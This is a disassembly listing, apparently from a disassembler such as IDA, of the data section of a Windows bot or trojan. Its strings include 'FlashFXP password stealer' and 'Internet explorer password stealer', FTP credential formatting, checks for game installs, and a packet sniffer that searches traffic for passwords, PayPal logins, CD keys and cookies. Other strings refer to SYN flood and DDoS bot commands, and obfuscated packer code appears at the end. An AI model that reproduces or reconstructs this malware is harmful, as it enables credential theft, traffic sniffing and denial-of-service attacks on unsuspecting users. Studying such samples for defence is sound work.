		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_41D0DC	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: sub_4143B0+1BAo
dword_41D0F0	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_4143B0+81o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_41D138	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_414600+1BEo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o
					; sub_4147E5+C6o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_4148CE+ABo
		align 10h
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_4148CE:loc_414945o
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_4148CE+57o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_4148CE+15o
		align 4
unk_41D22C	db  2Dh	; -		; DATA XREF: sub_414A1E+464o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 4
dword_41D268	dd 2343003h, 2037525h	; DATA XREF: sub_414A1E+3C4o
a_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+352o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+338o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+31Eo
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: sub_414A1E+304o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_41D2D4	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: sub_414A1E+2EAo
		align 10h
aPass_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1F4o
		db 'Pass=',0
aUser_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1DCo
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1C4o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1ACo
		db 'IP=',0
		align 10h
asc_41D300	db 0Dh,0Ah		; DATA XREF: sub_414A1E:loc_414BA6o
		db 0Dh,0Ah
		db '[',0
		align 4
unk_41D308	db  2Dh	; -		; DATA XREF: sub_414A1E+55o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 10h
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo
		align 4
unk_41D34C	db  2Dh	; -		; DATA XREF: sub_414EF4+B8Ao
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 69h
aNternetExplore	db 'nternet explorer password(s).',0
		align 4
dword_41D388	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
					; DATA XREF: sub_414EF4+AD8o
		dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
		dd 203A6574h, 2343003h,	2037325h, 614E202Eh, 203A656Dh
		dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
		dd 2343003h, 2037325h, 2Eh
dword_41D3E4	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
					; DATA XREF: sub_414EF4+A2Bo
		dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
		dd 3203A64h, 25023430h,	2E020373h, 74614420h, 3203A61h
		dd 25023430h, 2E020373h, 0
dword_41D42C	dd 70747468h, 2F3A73h	; DATA XREF: sub_414EF4+9DDo
dword_41D434	dd 70747468h, 2F3Ah	; DATA XREF: sub_414EF4+9C6o
dword_41D43C	dd 7274533Ah, 676E69h	; DATA XREF: sub_414EF4+983o
					; sub_414EF4+99Ao
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_414EF4+968o
aE161255a	db 'e161255a',0         ; DATA XREF: sub_414EF4:loc_415842o
		align 4
dword_41D45C	dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
					; DATA XREF: sub_414EF4+935o
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
dword_41D49C	dd 2Ch			; DATA XREF: sub_414EF4+83Bo
					; sub_414EF4+852o ...
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_414EF4:loc_4155CEo
		align 4
dword_41D4AC	dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
					; DATA XREF: sub_414EF4+6C6o
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_414EF4:loc_41550Co
		align 10h
dword_41D510	dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
					; DATA XREF: sub_414EF4+604o
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_414EF4+5C2o
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_414EF4+41Co
asc_41D560	db '%x',0               ; DATA XREF: sub_414EF4+234o
		align 4
unk_41D564	db  2Dh	; -		; DATA XREF: sub_414EF4+1A9o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingInterne	db '- Listing internet explorer passwords',0
		align 8
dword_41D598	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o
					; sub_414EF4+2C7o ...
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o
		align 4
dword_41D5CC	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: sub_415B60+277o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: sub_415B60+10Ao
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: sub_415B60:loc_415C2Fo
		align 10h
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: sub_415B60+8Co
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo
		align 4
off_41D6FC	dd offset aUser_1	; DATA XREF: sub_415EB7+32o
					; "user	"
		dd offset aUnknown_1	; "unknown "
		dd offset aPass_2	; "pass	"
		dd offset aMailpass	; "MailPass "
		dd offset aOper		; "oper	"
		dd 0
		dd offset aIdentify	; "identify "
		dd 0
		dd offset aAuth_0	; " :auth "
		dd 0
		dd offset aPasswd_0	; "passwd="
		dd 0
		dd offset aUsername_0	; "username="
		dd 0
		dd offset aPassword_0	; "password="
		dd 0
		dd offset aLogin_1	; "login="
		dd 0
		dd offset aPass_1	; "pass="
		dd 0
		dd offset aPw		; "pw="
		dd 2 dup(0)
off_41D758	dd offset aLogin_0	; DATA XREF: sub_415EB7+54o
					; "login "
		align 10h
		dd offset aSxt		; "sxt "
		align 8
		dd offset aAuth		; "auth	"
		align 10h
		dd offset aPasswort	; "passwort "
		align 8
		dd offset aCdkey	; "cdkey"
		align 10h
		dd offset aCdKey_0	; "cd-key"
		align 8
		dd offset aCdKey	; "cd key"
		align 10h
		dd offset aPassword	; "password"
		align 8
		dd offset aPaypal_com	; "paypal.com"
		align 10h
		dd offset aPaypal	; "paypal"
		align 8
		dd offset aIrcOperator	; "irc operator"
		dd 0
		dd offset aLP		; "l/p"
		align 8
		dd offset aSsh1_5	; "SSH-1.5"
		align 10h
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_41D7CC	dd offset aSetCookie	; DATA XREF: sub_415EB7+76o
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU_0	; "serv-u"
		dd 0
		dd offset aServU	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		align 10h
off_41D810	dd offset dword_41D86C	; DATA XREF: sub_415EB7+98o
		align 8
		dd offset dword_41D864
		align 10h
		dd offset dword_41D85C
		align 8
		dd offset dword_41D854
		align 10h
		dd offset dword_41D84C
		align 8
		dd offset dword_41D844
		dd 2 dup(0)
dword_41D844	dd 54495551h, 20h	; DATA XREF: .data:0041D838o
dword_41D84C	dd 54524150h, 20h	; DATA XREF: .data:0041D830o
dword_41D854	dd 4E494F4Ah, 20h	; DATA XREF: .data:0041D828o
dword_41D85C	dd 49504F54h, 2043h	; DATA XREF: .data:0041D820o
dword_41D864	dd 49544F4Eh, 204543h	; DATA XREF: .data:0041D818o
dword_41D86C	dd 56495250h, 2047534Dh, 0 ; DATA XREF:	.data:off_41D810o
aDdos		db 'ddos',0             ; DATA XREF: .data:0041D804o
		align 10h
aServu		db 'servu',0            ; DATA XREF: .data:0041D7FCo
		align 4
aServU		db 'serv u',0           ; DATA XREF: .data:0041D7F4o
		align 10h
aServU_0	db 'serv-u',0           ; DATA XREF: .data:0041D7ECo
		align 4
aClone		db 'clone ',0           ; DATA XREF: .data:0041D7E4o
		align 10h
aFlood		db 'flood ',0           ; DATA XREF: .data:0041D7DCo
		align 4
aSyn		db 'syn',0              ; DATA XREF: .data:0041D7D4o
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: .data:off_41D7CCo
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: .data:0041D7C0o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: .data:0041D7B8o
aLP		db 'l/p',0              ; DATA XREF: .data:0041D7B0o
aIrcOperator	db 'irc operator',0     ; DATA XREF: .data:0041D7A8o
		align 10h
aPaypal		db 'paypal',0           ; DATA XREF: .data:0041D7A0o
		align 4
aPaypal_com	db 'paypal.com',0       ; DATA XREF: .data:0041D798o
		align 4
aCdKey		db 'cd key',0           ; DATA XREF: .data:0041D788o
		align 4
aCdKey_0	db 'cd-key',0           ; DATA XREF: .data:0041D780o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: .data:0041D778o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: .data:0041D770o
		align 4
aAuth		db 'auth ',0            ; DATA XREF: .data:0041D768o
		align 10h
aSxt		db 'sxt ',0             ; DATA XREF: .data:0041D760o
		align 4
aLogin_0	db 'login ',0           ; DATA XREF: .data:off_41D758o
		align 10h
aPw		db 'pw=',0              ; DATA XREF: .data:0041D74Co
aPass_1		db 'pass=',0            ; DATA XREF: .data:0041D744o
		align 4
aLogin_1	db 'login=',0           ; DATA XREF: .data:0041D73Co
		align 4
aPassword_0	db 'password=',0        ; DATA XREF: .data:0041D734o
		align 10h
aUsername_0	db 'username=',0        ; DATA XREF: .data:0041D72Co
		align 4
aPasswd_0	db 'passwd=',0          ; DATA XREF: .data:0041D724o
aAuth_0		db ' :auth ',0          ; DATA XREF: .data:0041D71Co
aIdentify	db 'identify ',0        ; DATA XREF: .data:0041D714o
		align 4
aOper		db 'oper ',0            ; DATA XREF: .data:0041D70Co
		align 10h
aMailpass	db 'MailPass ',0        ; DATA XREF: .data:0041D708o
		align 4
aPass_2		db 'pass ',0            ; DATA XREF: .data:0041D704o
		align 4
aUnknown_1	db 'unknown ',0         ; DATA XREF: .data:0041D700o
		align 10h
aUser_1		db 'user ',0            ; DATA XREF: .data:off_41D6FCo
		align 4
dword_41D9A8	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: sub_415F69+5CEo
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_41D9DC	db  2Dh	; -		; DATA XREF: sub_415F69+1A6o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 10h
dword_41DA10	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_41665C+8Eo
		dd 6E732074h, 65666669h, 72h, 41DA34h, 0DCD88992h, 0CEBA94B3h
		dd 0B4ACFFE6h, 2 dup(0)
dword_41DA48	dd 0A1C21D0Eh		; DATA XREF: sub_40A9CF+843r
					; .data:00416845r ...
dword_41DA4C	dd 0D6AF099Eh		; DATA XREF: .data:0041683Dr
dword_41DA50	dd 0ED38F9D8h		; DATA XREF: .data:00416832r
dword_41DA54	dd 5D58CED8h		; DATA XREF: .data:0041682Cr
		dd 0
off_41DA5C	dd offset dword_41DD44	; DATA XREF: sub_40E618+1C3r
					; sub_40E618+1D5r ...
		dd 2 dup(0)
off_41DA68	dd offset dword_41CC4C	; DATA XREF: sub_40A9CF+7B3r
					; sub_40CF2F+82r ...
off_41DA6C	dd offset dword_41CC40	; DATA XREF: sub_40CF2F+B8r
dword_41DA70	dd 0			; DATA XREF: sub_40CF2F+D0r
					; sub_40CF2F+DFr
		dd offset dword_41CC2C
		dd offset dword_41CC20
		align 10h
		or	ah, cl
		inc	ecx
		add	ah, bh
		retf
; ---------------------------------------------------------------------------
		dw 41h
		dd 0
		dd offset dword_41CBE8
		dd offset dword_41CBDC
		dd 4 dup(0)
dword_41DAA4	dd 8F88D9DDh, 81F1C5A2h, 2 dup(0) ; DATA XREF: sub_40D043:loc_40D31Fo
					; sub_40D871:loc_40DCB8o
dword_41DAB4	dd 73616C23h, 36h, 1Eh dup(0) ;	DATA XREF: sub_40332B+1A1o
					; sub_4093B6+6Co ...
byte_41DB34	db 0C1h			; DATA XREF: sub_40D043+28Cr
					; sub_40D043+297o
		db 85h,	0D8h, 0DFh
		dd 0F1h, 1Eh dup(0)
byte_41DBB4	db 0			; DATA XREF: sub_40D043+2B3r
					; sub_40D043+2BEo
		align 4
		dd 1Fh dup(0)
dword_41DC34	dd 3430032Eh, 2036202h,	0 ; DATA XREF: sub_40A9CF:loc_40C4DAo
					; sub_40D871+242o
dword_41DC40	dd 0D3D58395h, 90FCC9F1h, 0B2FCACh, 3Eh	dup(0) ; DATA XREF: sub_406A23+2Eo
					; sub_406AE7+2Eo
dword_41DD44	dd 0DFDFA6C8h, 0DBA0D4F2h, 0BCh, 0 ; DATA XREF:	.data:off_41DA5Co
dword_41DD54	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .data:00416B0Do
aEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 4
aEntry		db 'entry',0            ; DATA XREF: .data:00416AE7o
		align 4
aLoop		db 'loop',0             ; DATA XREF: .data:loc_416AC5o
		align 4
aPing08x	db 'PING :%08X',0       ; DATA XREF: .data:00416A54o
		align 10h
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: .data:0041684Bo
		align 10h
dword_41DDD0	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o
off_41DDE0	dd offset off_4172BC	; DATA XREF: .data:off_4172C0o
					; .data:004172FCo ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_41DE00	dd offset off_4172BC	; DATA XREF: .data:off_417308o
					; .data:00417344o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_41DE18	dd 0			; DATA XREF: sub_401856:loc_40186Er
					; sub_401856+21r ...
dword_41DE1C	dd 0			; DATA XREF: sub_401856:loc_401883r
					; sub_401856+36r ...
dword_41DE20	dd 0			; DATA XREF: sub_401856:loc_401898r
					; sub_401856+4Br ...
dword_41DE24	dd 0			; DATA XREF: sub_401856+3r
					; sub_401856+Cr ...
		dd 0
dword_41DE2C	dd 0			; DATA XREF: sub_4018AF+40r
					; sub_4018AF+62r ...
byte_41DE30	db 0			; DATA XREF: sub_401981+1BAo
					; sub_402A32+57r ...
		align 8
dword_41DE38	dd 0			; DATA XREF: sub_40332B+1Ar
					; sub_404CBB+1Br ...
dword_41DE3C	dd 0			; DATA XREF: sub_40332B+Bo
dword_41DE40	dd 77E7C706h		; DATA XREF: sub_403BD3+28w
					; sub_409C36+12r ...
		align 8
dword_41DE48	dd 71C245E0h		; DATA XREF: sub_403BD3+53w
dword_41DE4C	dd 71C243F6h		; DATA XREF: sub_403BD3+66w
dword_41DE50	dd 71C59904h		; DATA XREF: sub_403BD3+79w
dword_41DE54	dd 71C453F8h		; DATA XREF: sub_403BD3+8Cw
dword_41DE58	dd 71C2FA86h		; DATA XREF: sub_403BD3+9Fw
dword_41DE5C	dd 71C574FAh		; DATA XREF: sub_403BD3+B2w
dword_41DE60	dd 71C214BAh		; DATA XREF: sub_403BD3+C5w
dword_41DE64	dd 71C4A1B4h		; DATA XREF: sub_403BD3+D8w
dword_41DE68	dd 71C59530h		; DATA XREF: sub_403BD3+EBw
dword_41DE6C	dd 71B2ACCBh		; DATA XREF: sub_403BD3+112w
dword_41DE70	dd 71B22C25h		; DATA XREF: sub_403BD3+125w
dword_41DE74	dd 71B2A381h		; DATA XREF: sub_403BD3+138w
dword_41DE78	dd 71B28D0Dh		; DATA XREF: sub_403BD3+14Bw
dword_41DE7C	dd 7622A3F4h		; DATA XREF: sub_403BD3+219w
					; sub_408B30+118r ...
dword_41DE80	dd 5E0C4E7Dh		; DATA XREF: sub_403BD3+1F2w
					; sub_414EF4+6Cr ...
dword_41DE84	dd 71AB33DFh		; DATA XREF: sub_403BD3+16Cw
					; sub_403BD3+197r ...
dword_41DE88	dd 71ABC076h		; DATA XREF: sub_4020C2+DBr
					; sub_403BD3+17Fw ...
dword_41DE8C	dd 71AB3A2Ch		; DATA XREF: sub_403BD3+192w
					; sub_403BD3+1A9r ...
		dd 101h	dup(0)
dword_41E294	dd 0			; DATA XREF: sub_4042FB+3r
					; sub_4042FB+20o
dword_41E298	dd 0			; DATA XREF: sub_4042FB+12o
					; sub_4042FB:loc_404327r
		align 10h
dword_41E2A0	dd 76BF1C22h		; DATA XREF: sub_405FA3+46w
					; sub_405FA3+7Ar ...
dword_41E2A4	dd 76BF1D54h		; DATA XREF: sub_405FA3+59w
					; sub_405FA3+83r ...
dword_41E2A8	dd 76BF1E6Ch		; DATA XREF: sub_405FA3+6Cw
					; sub_405FA3+8Cr ...
dword_41E2AC	dd 76BF32DDh		; DATA XREF: sub_405FA3+33w
					; sub_405FA3+71r ...
dword_41E2B0	dd 14AE80h, 0FFFFFFFFh,	5 dup(0) ; DATA	XREF: sub_405FA3+4o
					; sub_406041+Bo ...
byte_41E2CC	db 1			; DATA XREF: sub_405FA3+95w
					; sub_406041+16r
		align 10h
dword_41E2D0	dd 0			; DATA XREF: sub_409226+61w
					; sub_409226+77w ...
		align 8
dword_41E2D8	dd 14AEA8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40938F+1Ao
					; sub_4095A4+6o ...
dword_41E2F0	dd 0			; DATA XREF: sub_40938F+3w
					; sub_4095A4+11r ...
		align 8
dword_41E2F8	dd 863A00h		; DATA XREF: sub_40938F+15w
					; sub_4095A4+57r ...
dword_41E2FC	dd 0			; DATA XREF: sub_409CB1+6r
					; sub_409DD0+65w ...
dword_41E300	dd 0			; DATA XREF: sub_409DD0+3Fw
					; sub_409DD0+44r ...
dword_41E304	dd 0			; DATA XREF: sub_409CB1+F6r
					; sub_409DD0+91w ...
dword_41E308	dd 0			; DATA XREF: sub_409CB1+B9r
					; sub_409DD0+7Bw ...
		align 10h
byte_41E310	db 0			; DATA XREF: sub_409DD0+29r
					; sub_409DD0+96w
		align 4
		dd 101h	dup(0)
byte_41E718	db 0			; DATA XREF: sub_40CF2F+4Bo
					; sub_40CF2F+5Eo ...
		align 4
		dd 5Fh dup(0)
dword_41E898	dd 40h dup(0)		; DATA XREF: sub_40CF2F+Eo
					; sub_40CF2F+A6o ...
dword_41E998	dd 3 dup(0)		; DATA XREF: sub_40CF2F+23o
					; sub_40CF2F+36o ...
dword_41E9A4	dd 0			; DATA XREF: sub_40CF25+3r
					; sub_40D366+15r ...
		dd 0
dword_41E9AC	dd 0			; DATA XREF: sub_40E618+49w
					; sub_40E618:loc_40E66Dw
byte_41E9B0	db 0			; DATA XREF: sub_40E979+1Dw
					; sub_40E979+46w ...
		align 4
		dd 9 dup(0)
		dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
		dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
		dd 16151413h, 191817h, 0
		db    0
		db 1Ah,	1Bh, 1Ch
		db  1Dh
		db 1Eh,	1Fh, 20h
a_0123		db '!"#$%&',27h,'()*+,-./0123',0
		dd 22h dup(0)
byte_41EAB4	db 8Bh			; DATA XREF: sub_40ECEB+29o
					; sub_40ECEB+35o ...
		db 0B9h, 0DBh, 0B0h
		dd 8FB3E9B3h, 9A9790C8h, 62FBBADBh, 0
dword_41EAC8	dd 353B9991h, 29C9A16Fh, 0F3E975C5h, 37BBFFA3h,	0
					; DATA XREF: sub_40ED6E+29o
					; sub_40ED6E+35o ...
dword_41EADC	dd 0FA427D2Fh		; DATA XREF: sub_4102AE+1Do
					; sub_410318+7w ...
dword_41EAE0	dd 0B1ADEDA4h		; DATA XREF: sub_4102AE+2Do
					; sub_410318+11w ...
dword_41EAE4	dd 8311574Ch		; DATA XREF: sub_4102AE+3Do
					; sub_410318+1Bw ...
dword_41EAE8	dd 3140888Eh		; DATA XREF: sub_4102AE+4Do
					; sub_410318+25w ...
		align 10h
byte_41EAF0	db 0E2h			; DATA XREF: sub_41055F+29o
					; sub_41055F+35o ...
		db 0E6h, 0B7h, 0B0h
		dd 0BECEFA9Dh, 0D3DE90C8h, 0B1F7D5FBh, 2 dup(0)
dword_41EB08	dd 2 dup(0)		; DATA XREF: sub_41113B+7E8o
dword_41EB10	dd 0			; DATA XREF: sub_411DC5+557o
dword_41EB14	dd 2 dup(0)		; DATA XREF: sub_411DC5+579o
dword_41EB1C	dd 0			; DATA XREF: sub_4127D0+9r
					; sub_4127D0+16w
dword_41EB20	dd 0			; DATA XREF: sub_4127D0+BFw
					; sub_4127D0:loc_4128A0r
dword_41EB24	dd 2 dup(0)		; DATA XREF: sub_412D4C+3o
					; sub_412E04+7Fo
dword_41EB2C	dd 6B636170h, 652E6465h, 6578h,	3Eh dup(0) ; DATA XREF:	sub_406E8E+208o
					; sub_407148+172o ...
dword_41EC30	dd 9491337Bh		; DATA XREF: sub_40A9CF+838r
					; .data:00416909w
dword_41EC34	dd 0A22339F8h		; DATA XREF: .data:00416913w
dword_41EC38	dd 38D4B430h		; DATA XREF: .data:0041691Dw
dword_41EC3C	dd 0D06F35C5h		; DATA XREF: .data:00416927w
dword_41EC40	dd 6B636170h, 652E6465h, 6578h,	3Fh dup(0) ; DATA XREF:	sub_40A9CF+C3Do
					; sub_40A9CF+C51o ...
dword_41ED48	dd 40h dup(0)		; DATA XREF: sub_40A9CF+1082o
					; sub_40A9CF+108Eo ...
byte_41EE48	db 0			; DATA XREF: sub_40D043+FFr
					; sub_40D043+10Ao ...
		align 4
		dd 1Fh dup(0)
byte_41EEC8	db 0			; DATA XREF: sub_403DF3:loc_403F07r
					; sub_403DF3+11Fo ...
		align 4
		dd 1Fh dup(0)
dword_41EF48	dd 40h dup(0)		; DATA XREF: sub_404279+36o
					; sub_4055E5+746o ...
byte_41F048	db 0			; DATA XREF: sub_40A9CF+1F37o
					; sub_40D043:loc_40D0D6r ...
		align 4
		dd 3EDh	dup(0)
; ---------------------------------------------------------------------------
		pusha
		mov	eax, 0DB2Fh
		xchg	ecx, ecx
		push	edi
		xchg	edi, ebx
		jmp	short loc_42000E
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------


loc_42000E:				; CODE XREF: .data:0042000Bj
		pop	ebx
		xchg	edi, ebx
		jmp	short loc_420014
; ---------------------------------------------------------------------------
		db 69h
; ---------------------------------------------------------------------------


loc_420014:				; CODE XREF: .data:00420011j
		push	40h
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		xchg	edi, ebx
		jmp	short loc_420025
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------


loc_420025:				; CODE XREF: .data:00420022j
		pop	ebx
		xchg	edi, ebx
		push	eax
		push	ecx
		jmp	short near ptr loc_42002A+1 ; CODE XREF: .data:loc_42002Aj
; ---------------------------------------------------------------------------
		dd 4204CE15h, 0FFF0FF00h, 24148BF0h, 0EB04C483h, 0FFEBC0FFh
		dd 4EC83C8h, 2404C7h, 5E004010h, 0DB2F68h, 240C8B00h, 0EB04C483h
		dd 0EB230F05h, 0FBEB3103h, 1E850h, 58C70000h, 0EB08C083h
		dd 8A58E0FFh, 80E13226h, 0E12AD0C4h, 2AFFEC82h,	1C482E1h
		dd 801BEC80h, 0E1023BC4h, 3201EC80h, 82D4F6E1h,	0CCC098F4h
		dd 0FFF4804Bh, 80FFC480h, 0CC2801C4h, 885BC482h, 42C6FF22h
		dd 83C9FFEBh, 850F00F9h, 0FFFFFFBBh, 8324348Bh,	0EC8304C4h
		dd 2404C704h, 401000h, 0D287565Fh, 833101EBh, 4C704ECh
		dd 42053424h, 0D0FF5800h, 0D215FFEBh, 55004204h, 719BDh
		dd 835D9500h, 4C704ECh,	4024h, 50905900h, 15FFEB51h, 4204CEh
		dd 50F0FFEBh, 1E8h, 8358C700h, 0FFEB08C0h, 5D5058E0h, 41700068h
		dd 19685E00h, 8B000007h, 0C4832414h, 2C2C104h, 8A02CAC1h
		dd 80C3FE1Eh, 0D300FFF3h, 0C0FFC382h, 0DA32DACBh, 827DEB82h
		dd 0EB8095EBh, 80DA32B6h, 0D30001EBh, 46005D88h, 0CAFFEB45h
		dd 0F00FA83h, 0FFFFCE85h, 20C6C1FFh, 230F05EBh,	0EB3103EBh
		dd 8600EBFBh, 0A001EBC4h, 8C0C166h, 748B4444h, 4444FE24h
		dd 87D28790h, 7000BFD2h, 0F6FF0041h, 0EB57C733h, 3330BD02h
		dd 555F2404h, 420534BDh, 0C15D9500h, 0D0FF20C6h, 0C486DB87h
		dd 66A001EBh, 0EB08C0C1h, 4D215FFh, 87570042h, 0F01EBFBh
		dd 83FB875Bh, 4C704ECh,	374E24h, 1EB5800h, 20C6C169h, 4068h
		dd 240C8B00h, 0EB04C483h, 0C150A901h, 0F1FF20C6h, 0EB57C733h
		dd 3330BD02h, 0EB5F2404h, 4CE15FFh, 0F0FF0042h,	2C8BF0FFh
		dd 4C48324h, 418000B9h,	3101EB00h, 1EBC486h, 0C0C166A0h
		dd 4EBD5508h, 95000037h, 0F6FFEB5Dh, 875FF78Bh,	0C0318AF7h
		dd 0CEC003C6h, 1EE80BCh, 0C059C680h, 0C68213CEh, 84C680DBh
		dd 0CEC0C6FEh, 0F2CEC0BAh, 0FF007588h, 0C5FFEBC1h, 0EB20C6C1h
		dd 0F883C8FFh, 0CA850F00h, 0EBFFFFFFh, 4048A901h, 8324348Bh
		dd 6804C4h, 8B004180h, 0C483243Ch, 1EB5604h, 6901EBA9h
